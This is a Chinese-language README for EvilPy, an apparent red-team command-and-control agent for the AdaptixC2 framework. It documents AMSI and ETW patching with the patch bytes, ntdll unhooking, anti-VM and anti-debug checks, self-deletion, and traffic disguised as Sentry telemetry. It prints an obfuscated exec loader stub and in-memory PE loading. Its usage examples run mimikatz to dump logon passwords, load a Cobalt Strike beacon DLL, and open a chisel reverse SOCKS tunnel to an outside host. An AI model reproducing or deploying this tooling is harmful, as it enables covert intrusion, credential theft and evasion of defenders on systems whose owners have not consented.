Art-Fakt/EvilPy

GitHub: Art-Fakt/EvilPy

一款基于 Python 与 Go 的跨平台 C2 代理,利用构建时混淆与内存加载技术实现隐蔽的命令与控制。

Stars: 3 | Forks: 0

# EvilPy — 适用于 AdaptixC2 的 Python C2 Agent EvilPy 是一个专为 [Adaptix Framework](https://github.com/Adaptix-Framework) 设计的**跨平台基于 Python 的 C2 agent**。它可以生成独立的 `.py` payload,并提供丰富的编译时配置选项,用于免杀、反分析和代码混淆——所有这些都可以通过 AdaptixC2 GUI 进行控制。

EvilPy Logo

## 目录 - [概述](#overview) - [架构](#architecture) - [功能](#features) - [内存加载 PE/DLL](#in-memory-pedll-loading) - [内存加载 Python 模块](#in-memory-python-module-loading) - [内存执行脚本](#in-memory-script-execution) - [安装说明](#installation) - [用法](#usage) - [命令](#commands) - [通信协议](#communication-protocol) - [编译时混淆](#build-time-obfuscation) - [项目结构](#project-structure) - [配置参考](#configuration-reference) - [故障排除](#troubleshooting) ## 概述 EvilPy 由两个 AdaptixC2 扩展插件组成: | 组件 | 类型 | 描述 | |-----------|------|-------------| | **evilpy_agent** | Agent 插件 (`.so`) | 负责 payload 生成、任务创建和结果处理 | | **listener_evilpy_http** | Listener 插件 (`.so`) | 用于接收 agent 回连的 HTTP 服务器 | 当从 AdaptixC2 客户端构建 payload 时,agent 插件会读取 `agent.py` 模板,注入选定的配置值(主机、端口、免杀标志等),可选择性地应用编译时混淆层,最后输出一个可直接运行的 Python 脚本。 **Agent 名称:** `evilpy` **水印:** `0xe1b0a666` **Listener 名称:** `EvilPyHTTP` **协议:** HTTP (外部 listener) ## 架构 ``` ┌─────────────────────┐ HTTP POST ┌──────────────────────────┐ │ EvilPy Agent │ ──────────────────────► │ EvilPy HTTP Listener │ │ (Python 3.6+) │ ◄────────────────────── │ (Go / gin) │ │ │ JSON response │ │ │ Platforms: │ │ Routes: configurable │ │ - Linux │ │ Port: configurable │ │ - Windows │ │ Default: 9090 │ └─────────────────────┘ └────────────┬─────────────┘ │ ▼ ┌─────────────────┐ │ AdaptixC2 │ │ Teamserver │ └─────────────────┘ ``` ## 功能 ### 免杀与混淆 (运行时) | 功能 | 描述 | 默认值 | |---------|-------------|---------| | **Base64 编码** | 对 C2 通信数据进行 Base64 编码 | ✅ 开启 | | **XOR 加密** | 使用 16 字节的轮转密钥 (`Ev1lPyK3y!@#2026`) 加密流量 | 关闭 | | **垃圾 HTTP 头** | 每次请求注入 2-5 个随机的 `X-*` 头 (`X-Request-ID`, `X-Correlation-ID` 等) | 关闭 | | **随机 User-Agent** | 在 6 种常见的浏览器 UA (Chrome, Firefox, Safari, Edge) 之间轮换 | ✅ 开启 | | **随机 URI 路径** | 随机变换回连 URL 路径——每次请求在 6 种不同的模式间轮换,以避免静态特征 | 关闭 | | **环境绑定** | 将 agent 执行锁定到特定主机名——如果主机名不匹配,agent 将退出 | 关闭 | ### 执行方式 | 方式 | 描述 | |--------|-------------| | `exec (subprocess)` | 默认方式——通过带有 shell 的 `subprocess.run()` 运行命令,捕获 stdout/stderr | | `ctypes shellcode` | 用于通过 ctypes 进行原生 shellcode 注入 | | `compile() + exec()` | 通过 `compile()` 动态执行 Python 代码——将命令字符串作为 Python 代码执行 | ### 反分析 (运行时) | 检查项 | 描述 | 平台 | |-------|-------------|----------| | **反虚拟机** | 通过 DMI 产品名称、`/proc/cpuinfo` 的 hypervisor 标志、已知的虚拟机 MAC 地址前缀,检测 VMware, VirtualBox, KVM, QEMU, Xen, Hyper-V, Parallels。触发条件为检测到 ≥2 个指标。 | Linux/Windows | | **反调试** | Linux 上检查 `/proc/self/status` 中的 `TracerPid` + `ptrace(TRACEME)`;Windows 上使用 `IsDebuggerPresent()` | 两者皆可 | | **沙箱规避** | 基于时间的检测——休眠 2 秒并检查流逝时间是否 < 1.5 秒(表明存在时间加速) | 两者皆可 | | **启动延迟** | 在 agent 初始化前设置可配置的延迟 (0-300 秒) | 两者皆可 | ### 高级免杀 | 功能 | 描述 | 平台 | |---------|-------------|----------| | **AMSI Bypass** | 使用 XOR 编码的补丁字节 (`mov eax, 0x80070057; ret`) 在内存中修补 `AmsiScanBuffer` | 仅限 Windows | | **ETW Bypass** | 使用单条 `ret` 指令 (`0xC3`) 修补 `EtwEventWrite` | 仅限 Windows | | **进程伪装** | 覆盖 `sys.argv[0]`,调用 `prctl(PR_SET_NAME)`,写入 `/proc/self/comm` | Linux | | **自删除** | 在执行开始后从磁盘删除脚本文件 (`os.unlink`) | 两者皆可 | | **失效日期** | 在指定日期后自动终止 agent (格式:`DD.MM.YYYY`)。在启动时和每个 beacon 周期都会进行检查。 | 两者皆可 | | **工作时间** | 仅在配置的时间窗口内进行 Beacon (`HH:MM-HH:MM`)。支持跨午夜的时间范围 (例如,`22:00-06:00`)。在工作时间外,agent 保持静默睡眠。 | 两者皆可 | ## 内存加载 PE/DLL EvilPy 集成了一个增强的、独立的 [PythonMemoryModule](https://github.com/naksyn/PythonMemoryModule) 实现——这是 MemoryModule 技术的纯 Python 移植版。它允许仅使用 `ctypes` **完全从内存中**加载 DLL 并执行非托管 PE,无需任何外部依赖。 ### 命令 | 命令 | 语法 | 描述 | 平台 | |---------|--------|-------------|----------| | `memload_dll` | `memload_dll [-e export]` | 在内存中加载 DLL,并可选择调用导出的函数 | Windows | | `memload_pe` | `memload_pe [-c cmdline]` | 在内存中执行非托管 EXE,支持可选的命令行参数 | Windows | **用法示例:** ``` # 加载 Cobalt Strike beacon DLL 并调用其 export memload_dll beacon.dll -e StartW # 加载 DLL 但不调用任何 export(仅执行 DllMain) memload_dll payload.dll # 带参数在内存中执行 mimikatz memload_pe mimikatz.exe -c "privilege::debug sekurlsa::logonpasswords exit" # 在内存中执行 Go binary memload_pe chisel.exe -c "client 10.0.0.1:8080 R:socks" ``` ### 工作原理 `memmodule.py` 模块在构建时被嵌入到 agent 中(压缩 + base64 编码)。首次使用 `memload_*` 命令时,该模块会被解码并加载到 Python 解释器中。随后,加载器会执行以下操作: 1. 从原始字节缓冲区解析 PE 头(DOS、NT、节) 2. 使用 `VirtualAlloc` 在首选的映像基址(或其他地址)分配内存 3. 将各个节复制到正确的虚拟地址 4. 如果加载到了不同的基址,则执行基址重定位 5. 解析并修补导入地址表 (IAT) 6. 设置正确的节权限(无 RWX 页面) 7. 执行 TLS 回调 8. 调用入口点(DLL 调用 DllMain,EXE 调用 main/WinMain) ### 免杀增强 与原始的 PythonMemoryModule 相比,该实现包含以下几项改进: | 技术 | 描述 | |-----------|-------------| | **动态 API 解析** | 所有的 Windows API (`VirtualAlloc`, `VirtualProtect`, `GetProcAddress` 等) 均通过手动遍历 `kernel32.dll` 的 PE 导出表来解析,从而绕过 IAT 级别的 EDR 钩子 | | **ntdll 脱钩** | 从 `System32` 读取干净的 `ntdll.dll`,找到 `.text` 节,并将其还原覆盖到内存中被挂钩的版本——在任何 PE 加载之前移除 EDR 内联钩子 | | **抹除 PE 头** | 成功加载后,分配的内存中的 MZ/PE 头将被清零,防止内存扫描器通过 PE 签名扫描发现已加载的模块 | | **ExitProcess → ExitThread** | 对于 EXE 执行,`ExitProcess` 会被临时修补并重定向到 `ExitThread`,这样加载的 EXE 会终止其自身的线程,而不会杀死 Python agent 进程。执行完毕后会恢复原始字节。 | | **PEB 命令行篡改** | 对于 EXE 参数传递,通过 `NtQueryInformationProcess` (纯 ctypes) 篡改 PEB 的 `ProcessParameters→CommandLine`,并在 EXE 读取后将其恢复 | | **无外部依赖** | 用一个约 650 行的独立实现(仅使用 `ctypes` 和 `struct`)替代了 7400 行的 `pefile` 库和整个 `PythonForWindows` 模块 | | **正确的 PE32/PE32+ 处理** | 使用 `_pack_ = 1` 和特定于架构的可选头定义,避免了原版在 x64 上出现的对齐问题 | | **延迟加载** | memmodule 代码仅在首次使用 `memload_*` 命令时才被解码和执行——否则保持压缩+base64 状态,从而减少静态分析攻击面 | ### 局限性 - **仅限 Windows** —— 这些命令需要通过 `ctypes.windll` 调用 Windows API - **架构必须匹配** —— 64 位 Python 只能加载 64 位 PE;32 位 Python 只能加载 32 位 PE - **不支持 .NET 程序集** —— 仅支持非托管(原生)DLL 和 EXE - **命令行传递** —— PEB 篡改适用于大多数 Go 编译的二进制文件和 mimikatz,但可能不适用于所有 MinGW/MSVC 编译的二进制文件(参见 [PythonMemoryModule 文档](https://github.com/naksyn/PythonMemoryModule#commandline-parameters-passing---partial-support)) - **检测** —— 虽然免杀技术减少了痕迹,但未与磁盘文件关联的私有提交内存仍然是 MemoryModule 加载方式的典型特征 ## 内存加载 Python 模块 EvilPy 实现了一个自定义的 PEP 302 导入钩子 (`CFinder`),允许**完全从内存中**加载任意 Python 库。模块以 zip 归档形式(例如,由 `pip download` 或手动打包生成)提供,经过 base64 编码后,通过 `load_module` 命令传输给 agent。一旦加载,该模块就可以像任何标准库一样被导入——绝不会向磁盘写入任何文件。 这参考了 Medusa 和 Empire 进行内存模块加载的相同机制。 ### 命令 | 命令 | 描述 | |---------|-------------| | `load_module` | 解码 base64 zip,将其存储在内存中,并在 `sys.meta_path` 中注册一个 `CFinder` | | `unload_module` | 从 `sys.meta_path` 移除 finder,从 `moduleRepo` 和 `sys.modules` 中清除 | | `list_modules` | 列出所有当前加载在内存中的模块 | ### 工作流 ``` # 1. 将库打包为 zip(单文件 module) zip requests_mod.zip requests.py # 2. 将库打包为 zip(包含 submodules 的 package) cd site-packages && zip -r impacket.zip impacket/ # 3. 通过 AdaptixC2 GUI 发送: # load_module impacket impacket.zip # 4. 现在可在后续的 run/eval_code 任务中使用: # import impacket # from impacket import smb # 5. 完成后卸载 # unload_module impacket ``` ### 工作原理 1. 操作者发送 `load_module `:zip 字节经过 base64 解码,在内存中作为 `zipfile.ZipFile` 打开,并存储在 `moduleRepo[name]` 中。 2. 为该仓库名称创建一个 `CFinder` 实例,并将其附加到 `sys.meta_path`。 3. 当 Python 随后执行 `import ` (或 `import .submod`) 时,`CFinder.find_module()` 探测会成功,并且 `CFinder.load_module()` 会直接从内存中的 zip 编译并执行源代码——绝对不会触碰磁盘。 4. `unload_module` 会逆转这一切:从 `sys.meta_path` 移除 `CFinder`,从 `moduleRepo` 删除 `zipfile.ZipFile`,并从 `sys.modules` 中移除所有匹配的键。 ### 打包提示 | 使用场景 | 命令 | |----------|---------| | 单个 `.py` 文件 | `zip mymod.zip mymod.py` | | 单个 package 目录 | `cd site-packages && zip -r pkg.zip pkg/` | | `pip download` (wheel → zip) | `pip download requests -d /tmp/dl --no-deps`,然后解压 `.whl` (它就是一个 zip) | | 纯 Python package | 任何仅包含 `.py` 文件的 package 都可以;C 扩展 (`.so`/`.pyd`) 无法加载 | ## 内存执行脚本 `load_script` 会将一个 `.py` 文件传输到 agent,并通过 `exec()` 完全在内存中执行——不会向磁盘写入任何内容。该脚本在 agent 全局命名空间的副本中运行,因此它可以完全访问已加载的模块(通过 `load_module`)、agent 全局变量以及目标系统可用的任何标准库。 脚本中打印到 `stdout`/`stderr` 的输出会被捕获,并作为任务结果返回。 ### 用法 ``` load_script myscript.py ``` ### 工作流 ``` # 1. 编写一个独立的 Python 脚本 cat > recon.py << 'EOF' import socket, platform, os print("hostname:", socket.gethostname()) print("platform:", platform.platform()) print("cwd:", os.getcwd()) EOF # 2. 通过 AdaptixC2 GUI 发送: # load_script recon.py # -> 输出结果直接在任务结果中返回 # 3. 与 load_module 结合以实现高级用途: # load_module impacket impacket.zip # 先加载 lib # load_script smb_enum.py # 脚本现在可以:import impacket ``` ### 工作原理 1. 脚本字节在 agent 端进行 base64 解码。 2. `stdout` 和 `stderr` 被临时重定向到内存缓冲区。 3. 脚本通过 `compile()` 编译,并在 `globals()` 的副本中通过 `exec()` 执行——因此可以访问所有先前加载的模块和 agent 状态。 4. 捕获的输出被恢复并作为任务结果返回。 5. 脚本内部引发的任何异常都会被捕获,并作为错误返回。 ### 与 `run` 的对比 | | `run` (subprocess) | `load_script` | |---|---|---| | 执行方式 | 生成子进程 | 进程内 `exec()` | | 磁盘写入 | 取决于方式 | 从不 | | 访问 agent 状态 | 否 | 是(共享全局变量) | | 输出捕获 | stdout/stderr | stdout/stderr (内存中) | | 支持已加载的模块 | 否 | 是 | ## 安装说明 ### 自动安装(推荐) ``` cd Custom_Agents/EvilPy ./setup_evilpy.sh --ax /path/to/AdaptixC2 ``` 该脚本执行以下步骤: 1. 清理之前的任何安装 2. 将 `evilpy_agent/` 和 `listener_evilpy_http/` 复制到 `AdaptixServer/extenders/` 3. 在 Go workspace 中注册它们 (`go work use` + `go work sync`) 4. 将两个插件构建为共享对象 (`.so`) 5. 将分发文件 (`.so` + 配置 + 模板) 部署到 `dist/extenders/` #### 选项 | 标志 | 描述 | |------|-------------| | `--ax ` | AdaptixC2 根目录的路径 **(必填)** | | `--action ` | `all` (默认), `agent`, 或 `listener-http` | | `--pull` | 在安装前运行 `git pull` | #### 示例 ``` # 完整安装(agent + listener) ./setup_evilpy.sh --ax /opt/AdaptixC2 # 仅 agent 插件 ./setup_evilpy.sh --ax /opt/AdaptixC2 --action agent # 仅 HTTP listener + 拉取最新更改 ./setup_evilpy.sh --ax /opt/AdaptixC2 --action listener-http --pull ``` ### 手动安装 ``` # 1. 构建 agent 插件 cd evilpy_agent && make && cd .. # 2. 构建 listener 插件 cd listener_evilpy_http && make && cd .. # 3. 部署到 dist(复制 dist/ 中的内容,而不是 dist/ 文件夹本身) mkdir -p /path/to/AdaptixC2/dist/extenders/evilpy_agent cp -r evilpy_agent/dist/* /path/to/AdaptixC2/dist/extenders/evilpy_agent/ mkdir -p /path/to/AdaptixC2/dist/extenders/listener_evilpy_http cp -r listener_evilpy_http/dist/* /path/to/AdaptixC2/dist/extenders/listener_evilpy_http/ # 4. 在 Go workspace 中注册(如果从源码构建 server) cd /path/to/AdaptixC2/AdaptixServer go work use extenders/evilpy_agent go work use extenders/listener_evilpy_http go work sync ``` ### Profile 注册 将两个 extender 添加到您的 AdaptixC2 profile (`profile.yaml` 或 `profile.json`) 中: ``` extenders: - "extenders/listener_evilpy_http/config.yaml" - "extenders/evilpy_agent/config.yaml" ``` ## 用法 1. **启动 AdaptixC2 服务器**,并使用更新后的 profile 2. 从 Adaptix Client GUI **创建一个 EvilPyHTTP listener**: - 设置 **Bind Host** 和 **Port** (listener 监听的地址) - 设置 **Callback Address** (agent 将要连接的地址,格式:`host:port`) 3. 从 agent 构建菜单中**生成 payload**: - 选择 `evilpy` agent 类型 - 选择 EvilPyHTTP listener - 通过 GUI 配置 sleep、jitter、免杀选项 - 点击 **Build**——下载 `agent.py` 4. 在目标机器上**执行 agent**: python3 agent.py 5. 使用可用的命令从 Adaptix Client 控制台与 agent **进行交互** ## 命令 | 命令 | 语法 | 描述 | |---------|--------|-------------| | `cat` | `cat ` | 读取文件内容 | | `cd` | `cd ` | 更改 agent 的工作目录 | | `ls` | `ls [path]` | 列出目录内容 (默认为当前工作目录)。显示权限、修改时间、大小。 | | `pwd` | `pwd` | 打印当前工作目录 | | `run` | `run [args]` | 通过配置的执行方式执行系统命令 | | `download` | `download ` | 从目标机器下载文件 (base64 编码传输) | | `upload` | `upload ` | 上传文件到目标机器 | | `env` | `env` | 列出所有环境变量 (已排序) | | `whoami` | `whoami` | 获取用户信息:用户名、UID、GID、主机名、平台、PID | | `ps` | `ps` | 列出正在运行的进程。Linux:读取 `/proc/`。Windows:使用 `tasklist`。 | | `sleep` | `sleep [jitter]` | 更改回连间隔 (秒) 以及可选的抖动百分比 (0-100) | | `exit` | `exit` | 发送最后一次回连并终止 agent | | `memload_dll` | `memload_dll [-e export]` | 在内存中加载 DLL,并可选择调用导出的函数 (Windows) | | `memload_pe` | `memload_pe [-c cmdline]` | 在内存中执行非托管 PE,支持可选的参数 (Windows) | | `load_module` | `load_module ` | 将 zip 归档中的 Python 库加载到 agent 内存中——使其可以通过 `import ` 导入 | | `unload_module` | `unload_module ` | 移除先前加载的内存模块,并从 `sys.modules` 中清除 | | `list_modules` | `list_modules` | 列出当前所有加载在内存中的 Python 模块 | | `load_script` | `load_script ` | 传输 Python 脚本并通过 `exec()` 完全在内存中执行——输出作为任务结果返回 | ## 通信协议 ### 流量伪装 所有通信都被伪装为 **Sentry SDK 遥测**(错误监控)。从网络角度来看,请求看起来就像是合法的 Sentry envelope 提交。 ### 请求格式 (Agent → Listener) ``` POST / HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; ...) Chrome/120.0.0.0 ... [Optional junk X-* headers] ``` **URI 路径行为:** 实际请求路径根据编译时的配置而变化: | 配置 | 行为 | 示例 | |---------------|----------|----------| | **默认** (`obf_random_uri = false`,无自定义路径) | 使用默认路径:`/api/v2/embedded/{id}` | `POST /api/v2/embedded/a3f7b2` | | **自定义路径** (`custom_uri_path = "myapp/telemetry"`) | 使用配置的路径:`/{custom_path}/{id}` | `POST /myapp/telemetry/a3f7b2` | | **随机 URI** (`obf_random_uri = true`) | 每次请求从 6 个预定义模式中随机选择 | `POST /ep/a3f7b2/sync`
`POST /cdn/a3f7b2/analytics`
`POST /v1/metrics/a3f7b2/collect`
`POST /health/a3f7b2/check`
`POST /static/a3f7b2/resource`
`POST /api/v2/a3f7b2/telemetry` | POST body (3 行的 Sentry envelope): | 行 | 内容 | |------|---------| | **1** | `{"event_id":"","sent_at":"...","sdk":{...}}` — 心跳:水印 (4B) + agent ID (4B) + 可选的初始数据,全部为十六进制编码 | | **2** | `{"type":"transaction"}` — Sentry item header | | **3** | `{"contexts":{...},"spans":[{"description":"",...}],...}` — 位于 `spans[0].description` 的任务结果,十六进制编码 | ### 响应格式 (Listener → Agent) ``` {"id": ""} ``` 任务为十六进制编码的 JSON 数组: ``` [{"task_id": "abc12345", "task_data": ""}] ``` ### 编码管道 数据根据编译时的配置流经各个编码层: ``` Sending (agent): raw JSON → [zlib compress] → [XOR encrypt] → [base64 encode] → hex → Sentry envelope Receiving (server): hex decode → [base64 decode] → [XOR decrypt] → [zlib decompress] → raw JSON ``` 方括号 `[]` 表示由配置标志启用的可选层。编码配置会在初始注册期间发送给服务器,以便其知道应该逆转哪些层。 ### 初始注册 在首次回连时,agent 会将身份数据附加到心跳中: ``` { "platform": "Linux", "hostname": "target-host", "username": "user", "internal_ip": "192.168.1.100", "pid": 12345, "uid": 1000, "enc": { "xor": false, "b64": true, "compress": false, "xor_key": "" } } ``` `enc` 块在服务器端作为 agent 的会话密钥进行存储,允许 `Decrypt()` 方法在随后的所有数据中逆转正确的编码层。 ## 编译时混淆 当在构建 GUI 中启用**字符串拼接**、**Zlib 压缩**或 **Marshal 编码**时,输出的 agent 会被转换为一个紧凑的加载器: ### 第 1 层:XOR + 压缩 + Base64 整个 `agent.py` 会被: 1. Zlib 压缩 (如果启用了 compress 或 marshal) 2. XOR 加密(使用随机的 32 字节密钥) 3. Base64 编码 结果:一个简单的引导脚本: ``` #!/usr/bin/env python3 import base64 as _b, zlib as _z _key = _b.b64decode(b'') _dat = _b.b64decode(b'') _pay = bytes([_dat[i]^_key[i%len(_key)] for i in range(len(_dat))]) exec(_z.decompress(_pay)) ``` ### 第 2 层:Marshal (可选的第二次包装) 如果启用了 **Marshal 编码**,第 1 层的引导脚本本身会使用另一个随机的 24 字节密钥,再经过一轮压缩 + XOR + base64 的包装。这创建了一个双重包装的加载器,使其更难进行静态分析。 所有的变量名都是随机生成的 9 字符字符串(例如,`_abcdefgh`)。 ## 项目结构 ``` EvilPy/ ├── setup_evilpy.sh # Automated installation script ├── README.md # This file │ ├── evilpy_agent/ # Agent extender plugin │ ├── config.yaml # Plugin registration │ │ agent_name: evilpy │ │ watermark: e1b0a666 │ │ listeners: [EvilPyHTTP] │ ├── ax_config.axs # UI definition │ │ RegisterCommands() — 18 commands │ │ GenerateUI() — build options GUI │ ├── go.mod # Go module │ ├── pl_main.go # Plugin entry point │ │ InitPlugin, Encrypt, Decrypt, │ │ PackTasks, ProcessData, etc. │ ├── pl_agent.go # Core logic │ │ AgentGenerateBuild() — template injection │ │ obfuscateScript() — build-time obfuscation │ │ CreateAgentData() — agent registration │ │ CreateTask() — task creation │ │ ProcessTasksResult() — result parsing │ ├── Makefile # go build -buildmode=plugin │ └── src_evilpy/ │ ├── agent.py # Python agent template │ │ {{CALLBACK_HOST}}, {{SLEEP}}, etc. │ └── memmodule.py # Enhanced PE memory loader │ Self-contained, no dependencies │ Embedded at build time (zlib+b64) │ └── listener_evilpy_http/ # HTTP Listener extender plugin ├── config.yaml # Plugin registration │ listener_name: EvilPyHTTP │ type: external, protocol: http ├── ax_config.axs # Listener UI (host, port, callback) ├── go.mod # Go module ├── pl_main.go # Plugin entry point ├── pl_listener.go # HTTP server (gin framework) │ Routes: 6 predefined + custom URI support │ parseBeatAndData() — Sentry envelope parser │ processRequest() — agent registration + tasking └── Makefile # go build -buildmode=plugin ``` ## 配置参考 ### Agent config.yaml ``` extender_type: "agent" extender_file: "agent_evilpy.so" ax_file: "ax_config.axs" agent_name: "evilpy" agent_watermark: "e1b0a666" listeners: - "EvilPyHTTP" multi_listeners: false ``` ### Listener config.yaml ``` extender_type: "listener" extender_file: "evilpy_http.so" ax_file: "ax_config.axs" listener_name: "EvilPyHTTP" listener_type: "external" protocol: "http" ``` ### 构建选项参考 (GUI → AgentConfig) | 参数 | 类型 | 默认值 | 描述 | |-----------|------|---------|-------------| | `sleep` | string | `"5"` | 回连间隔(秒) | | `jitter` | int | `10` | 抖动百分比 (0-100) | | `obf_base64` | bool | `true` | 对通信进行 Base64 编码 | | `obf_xor` | bool | `false` | XOR 加密流量 | | `obf_junk_headers` | bool | `false` | 注入随机的 HTTP 头 | | `obf_random_ua` | bool | `true` | 轮换 User-Agent 字符串 | | `obf_random_uri` | bool | `false` | 随机化回连 URI 路径 | | `custom_uri_path` | string | `"api/v2/embedded"` | 禁用 URI 随机化时使用的自定义 URI 路径前缀 | | `obf_env_keying` | bool | `false` | 环境绑定(主机名锁定) | | `key_hostname` | string | `""` | 用于环境绑定的目标主机名 | | `inject_method` | string | `"exec (subprocess)"` | 代码执行方式 | | `obf_string_concat` | bool | `false` | 编译时字符串拆分 | | `obf_marshal` | bool | `false` | 双层混淆 | | `obf_compress` | bool | `false` | Zlib 压缩 payload | | `anti_vm` | bool | `false` | 启动时进行反虚拟机检测 | | `anti_debug` | bool | `false` | 启动时进行反调试器检查 | | `sandbox_sleep` | bool | `false` | 沙箱时间规避 | | `startup_delay` | int | `0` | 初始化前的延迟(秒)(0-300) | | `amsi_bypass` | bool | `false` | AMSI bypass (仅限 Windows) | | `etw_bypass` | bool | `false` | ETW bypass (仅限 Windows) | | `proc_masking` | bool | `false` | 进程名伪装 (Linux) | | `proc_fake_name` | string | `""` | 伪造的进程名 (默认: `/usr/sbin/apache2`) | | `self_delete` | bool | `false` | 从磁盘删除脚本 | | `kill_date_enabled` | bool | `false` | 启用失效日期 | | `kill_date` | string | `""` | 自动终止日期 (`DD.MM.YYYY`) | | `working_hours_enabled` | bool | `false` | 启用工作时间限制 | | `working_hours` | string | `""` | 活动时间窗口 (`HH:MM-HH:MM`) | ## 故障排除 ### Agent 未回连 1. **Listener 未启动** —— 验证 Adaptix Client 中是否正在运行 EvilPyHTTP listener 2. **回连地址错误** —— 目标机器必须能够访问 listener 中的 `callback_address`。使用 `curl -X POST http://:/` 检查连通性 (listener 接受多个路由上的请求) 3. **防火墙** —— 确保目标机器和服务器之间的端口已开放 4. **触发反分析** —— 如果在虚拟机中运行,反虚拟机检测将导致 agent 静默退出。如果附加了调试器,反调试同样会触发;如果主机名不匹配,环境绑定也会触发。 5. **失效日期已过** —— 如果设置了 `kill_date_enabled` 并且日期已过,agent 会立即退出 6. **工作时间** —— 如果不在配置的工作时间内,agent 将处于休眠状态而不进行连接 ##环境要求 | 组件 | 要求 | |-----------|-------------| | **目标机器** | Python 3.6+ (Linux 或 Windows) | | **构建环境** | Go 1.23+, AdaptixC2 Framework | | **Listener** | 无外部依赖 (通过 gin 嵌入在 AdaptixC2 服务器中) |
标签:C2框架, DNS 反向解析, Python, 免杀, 内存加载, 安全学习资源, 安全工具, 无后门, 红队工具, 网络信息收集